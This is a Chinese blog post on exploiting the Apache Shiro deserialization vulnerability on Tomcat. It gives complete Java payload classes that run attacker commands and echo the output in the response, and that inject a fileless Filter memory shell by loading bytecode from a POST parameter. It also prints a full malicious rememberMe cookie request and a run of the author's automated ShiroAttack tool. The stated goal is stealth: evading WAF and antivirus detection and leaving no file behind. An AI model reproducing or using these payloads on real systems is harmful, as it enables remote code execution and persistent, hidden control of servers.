背景
在前面 Shiro 利用的文章中,都是直接利用反序列化漏洞对 Shiro 应用进行攻击,使其弹出一个计算器,这当然只是在实验环境中,对漏洞成功利用的一个简单概念验证。在实战环境中,没法这么干,原因有二,一是我们很难得知被攻击机器是否成功执行了命令,特别是在目标机器不出网的环境下;基于一,我们可能会尝试上传 WebShell 文件,但这种方式尤其是在当下各类防御设备齐出马的形势下,极大可能会被杀软或 WAF 检测到,从而使得攻击被察觉,这就是原因二,落地 Webshell 文件容易被安全设备发现。
前文《Tomcat Filter 型内存马》中,是通过上传一个 JSP 的 Webshell 文件,访问并执行来达到内存马的注入,但这似乎也背离了内存马无文件落地的初衷。
由此,在这篇文章中将解决以上痛点,利用反序列化漏洞实现命令执行的回显输出,并结合内存马注入达到真正的无文件落地、内存马常驻以提升攻击的隐蔽性。
请求与响应
当客户端发送一个 HTTP 请求到 Tomcat 服务器时,Tomcat 会创建一个 Request 对象来封装请求信息,随后这个 Request 对象会被传递给相应的 Servlet 或 Filter 进行处理,处理完成后,最后会通过 Response 对象设置响应信息。
想要达到命令执行结果作为响应回显输出,就必然需要先控制 HTTP 请求与响应对象,在 Tomcat 中用于处理 HTTP 请求与响应的核心类是 org.apache.coyote.Request 和 org.apache.coyote.Response。
Request 类封装了客户端发送到服务器的所有请求信息,包括请求行、头信息、参数和正文内容,而 Response 类封装了服务器发送给客户端的所有响应信息,包括状态码、头信息和正文内容。
受《基于全局储存的新思路 | Tomcat 的一种通用回显方法研究》一文得到的启发,我们通过遍历线程组来寻找 Request 和 Response 对象。
构造如下核心代码用于获取 Request 对象,有了 Request,Response 便也能获取到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| boolean flag = false; Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < threads.length; ++i) { Thread thread = threads[i]; if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")) { Object obj = getFieldValue(thread, "target"); if (obj instanceof Runnable) { try { obj = getFieldValue(getFieldValue(getFieldValue(obj, "this$0"), "handler"), "global"); } catch (Exception e) { continue; }
java.util.List processors = (java.util.List) getFieldValue(obj,"processors");
for (int n = 0; n < processors.size(); ++n) { Object processor = processors.get(n); obj = getFieldValue(processor, "req"); Object resp = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); String host = (String) obj.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(obj, new Object[]{new String("Host")}); if (host != null && !host.isEmpty()) { flag = true; }
if (flag) { break; } }
if (flag) { break; } } } } }
|
其中 getFieldValue 方法通过反射获取对象的私有字段或受保护字段的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private static Object getFieldValue(Object obj, String field) throws Exception { java.lang.reflect.Field f = null; Class cls = obj.getClass();
while (cls != Object.class) { try { f = cls.getDeclaredField(field); break; } catch (NoSuchFieldException e) { cls = cls.getSuperclass(); } }
if (f == null) { throw new NoSuchFieldException(field); } else { f.setAccessible(true); return f.get(obj); } }
|
回显输出
既然成功获取到了 Request 和 Response,那便可以构造 Tomcat 回显的核心代码了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| package org.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.lang.reflect.Field; import java.util.List; import java.util.Scanner;
public class TomcatEcho extends AbstractTranslet {
private static void writeBody(Object obj, byte[] bytes) throws Exception { byte[] bs = (new java.lang.String(bytes)).getBytes(); Object object; Class cls; try { cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); object = cls.newInstance(); cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(object, new Object[]{bs, new Integer(0), new Integer(bs.length)}); obj.getClass().getMethod("doWrite", new Class[]{cls}).invoke(obj, new Object[]{object}); } catch (Exception e) { cls = Class.forName("java.nio.ByteBuffer"); object = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{bs}); obj.getClass().getMethod("doWrite", new Class[]{cls}).invoke(obj, new Object[]{object}); } }
private static Object getFieldValue(Object obj, String field) throws Exception { java.lang.reflect.Field f = null; Class cls = obj.getClass();
while (cls != Object.class) { try { f = cls.getDeclaredField(field); break; } catch (NoSuchFieldException e) { cls = cls.getSuperclass(); } }
if (f == null) { throw new NoSuchFieldException(field); } else { f.setAccessible(true); return f.get(obj); } }
public TomcatEcho() throws Exception { boolean flag = false; Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < threads.length; ++i) { Thread thread = threads[i]; if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")) { Object obj = getFieldValue(thread, "target"); if (obj instanceof Runnable) { try { obj = getFieldValue(getFieldValue(getFieldValue(obj, "this$0"), "handler"), "global"); } catch (Exception e) { continue; }
java.util.List processors = (java.util.List) getFieldValue(obj,"processors");
for (int n = 0; n < processors.size(); ++n) { Object processor = processors.get(n); obj = getFieldValue(processor, "req"); Object resp = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); String host = (String) obj.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(obj, new Object[]{new String("Host")}); if (host != null && !host.isEmpty()) { resp.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(resp, new Object[]{new Integer(200)}); flag = true; }
String cmd = (String) obj.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(obj, new Object[]{new String("CMD")}); if (cmd != null && !cmd.isEmpty()) { String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; writeBody(resp, (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); flag = true; }
if (flag) { break; } }
if (flag) { break; } } } } } } }
|
将如上类配合 CB1 链并进行 AES 加密,生成恶意的 Shiro rememberMe Cookie,然后发送 HTTP 请求,结果如下,成功执行 pwd 命令。
1 2 3 4 5 6
| GET /login.jsp HTTP/1.1 Host: 192.168.1.100:8089 CMD: pwd Cookie: rememberMe=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 Connection: close
|
1 2 3 4 5 6 7
| HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Date: Wed, 22 May 2023 11:17:49 GMT Connection: close Content-Length: 43
/opt/apache-tomcat/apache-tomcat-7.0.0/bin
|
Filter 型内存马
以上实现的命令执行回显输出还只是开胃小菜,它每次执行命令都需要携带很长的一串 Payload。接下来进入正餐时刻,内存马,一次注入,随处使用。
在我的前一篇文章《Tomcat Filter 型内存马》中已经提到了关于 Filter 型内存马的基础知识,不过在那篇文章中,攻击的手法是通过上传一个 JSP Webshell 文件,访问执行才达到内存马的注入,在那种情况下,是无需关心 Request 对象的获取的。但这也背离了内存马无文件落地的初衷。
StandardContext
在注入内存马前的一个关键就是获取 StandardContext 对象,StandardContext 是 org.apache.catalina.Context 接口的一个实现类,代表了一个具体的 Web 应用上下文,并管理着应用的配置、生命周期和组件(如 Servlet 和 Filter)。
在前文中获取 StandardContext 的方式如下,其中 ServletContext 是一个标准的 Servlet API 接口,提供了与 Web 应用交互的方法。ApplicationContext 则是 ServletContext 的一个实现类,可以直接从 ServletContext 中获取 context 字段,该字段指向了 ApplicationContext 对象,同时在 ApplicationContext 中也包含一个 context 字段指向 StandardContext。
1 2 3 4 5 6 7 8 9 10
| ServletContext servletContext = request.getSession().getServletContext();
Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField = applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
|
Request 对象的转换
基于以上,我们也可以重复利用上面的代码。但不同地是,前文中的 request 是 javax.servlet.http.HttpServletRequest,而这里获取到的是 org.apache.coyote.Request,它们二者都是处理 HTTP 请求的关键类,但所处的层次有所不同。org.apache.coyote.Request 主要负责底层的 HTTP 请求解析和处理,javax.servlet.http.HttpServletRequest 则是面向开发者的更高层次的抽象,它能够方便 Web 应用处理 HTTP 请求。所以还需要将 org.apache.coyote.Request 做更高层次的转换,转换为 javax.servlet.http.HttpServletRequest。
javax.servlet.jsp.PageContext 提供了对 JSP 页面执行环境中各种信息的访问,包括请求对象、响应对象、会话对象、应用上下文等。所以,可直接利用该类中的 getRequest 与 getResponse 方法来获取 HttpServletRequest 与 HttpServletResponse 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public void getReqResp(Object obj) { if (obj.getClass().isArray()) { Object[] data = (Object[]) ((Object[])((Object[])obj)); this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; } else { try { Class pageContext = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) pageContext.getDeclaredMethod("getRequest").invoke(obj); this.response = (HttpServletResponse) pageContext.getDeclaredMethod("getResponse").invoke(obj); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj;
try { Field reqField = this.request.getClass().getDeclaredField("request"); reqField.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) reqField.get(this.request); Field respField = request2.getClass().getDeclaredField("response"); respField.setAccessible(true); this.response = (HttpServletResponse) respField.get(request2); } catch (Exception ex) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse").invoke(obj); } catch (Exception exc) { } } } } } }
|
defineClass
现在有了 Request 和 StandardContext,终于可以构造 Filter 内存马了,但会发现生成的 Payload 长度非常大,已经超过 Tomcat 默认 8K 的 maxHttpHeaderSize,超出这个大小后 Tomcat 便会返回 400 状态码。
运用先前学到的 Java 类加载知识,将添加 Filter 的恶意类作为 POST 参数值进行传递。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| package org.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List; import sun.misc.BASE64Decoder;
public class DefineClass extends AbstractTranslet { private static Object getFieldValue(Object obj, String field) throws Exception { java.lang.reflect.Field f = null; Class cls = obj.getClass();
while (cls != Object.class) { try { f = cls.getDeclaredField(field); break; } catch (NoSuchFieldException e) { cls = cls.getSuperclass(); } }
if (f == null) { throw new NoSuchFieldException(field); } else { f.setAccessible(true); return f.get(obj); } }
public DefineClass() throws Exception { boolean flag = false; Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < threads.length; ++i) { Thread thread = threads[i]; if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")) { Object obj = getFieldValue(thread, "target"); if (obj instanceof Runnable) { try { obj = getFieldValue(getFieldValue(getFieldValue(obj, "this$0"), "handler"), "global"); } catch (Exception e) { continue; }
java.util.List processors = (java.util.List) getFieldValue(obj,"processors");
for (int n = 0; n < processors.size(); ++n) { Object processor = processors.get(n); obj = getFieldValue(processor, "req");
Object conreq = obj.getClass().getMethod("getNote", new Class[]{int.class}).invoke(obj, new Object[]{new Integer(1)});
String c = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("class")});
if (c != null && !c.isEmpty()) { byte[] bytecodes = new sun.misc.BASE64Decoder().decodeBuffer(c);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
cc.newInstance().equals(conreq); flag = true; } if (flag) { break; } } if (flag) { break; } } } } } }
}
|
工具自动化利用
最终,根据以上所有,编写一个自动化利用的工具 ShiroAttack。
TomcatEcho
Tomcat 通用回显,已在 Tomcat 7.0.0、7.0.10、7.0.109、8.5.54、9.0.10 版本上测试攻击成功,但 6.0.53 和 10.0.0 版本上攻击失败。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| $ java -jar ShiroAttack.jar -p http://127.0.0.1:8080 -u http://192.168.1.100:8089 -k kPH+bIxk5D2deZiIxcaaaA== -m CBC -a TomcatEcho -c pwd
_____ __ _ ___ __ __ __ / ___// /_ (_)________ / | / /_/ /_____ ______/ /__ \__ \/ __ \/ / ___/ __ \/ /| |/ __/ __/ __ `/ ___/ //_/ ___/ / / / / / / / /_/ / ___ / /_/ /_/ /_/ / /__/ ,< /____/_/ /_/_/_/ \____/_/ |_\__/\__/\__,_/\___/_/|_|
[*] URL: http://192.168.1.100:8089 [*] Proxy: http://127.0.0.1:8080 [*] Shiro Key: kPH+bIxk5D2deZiIxcaaaA== [*] Encryption mode: AES-CBC [*] Type of attack: TomcatEcho [*] Timeout: 20s [*] Command: pwd
/opt/apache-tomcat/apache-tomcat-7.0.0/bin
|
FilterMemShell
Filter 型内存马注入,已在 Tomcat 7.0.10、7.0.109、8.5.54、9.0.10、9.0.70 版本上测试攻击成功,但 6.0.53、7.0.0 和 10.0.0 版本上攻击失败。
参考
https://0xf4n9x.github.io/tomcat-filter-memshell
https://0xf4n9x.github.io/java-classloader
https://mp.weixin.qq.com/s/O9Qy0xMen8ufc3ecC33z6A
https://xz.aliyun.com/t/7348
https://github.com/KpLi0rn/shiro_attack
https://github.com/0xf4n9x/ShiroAttack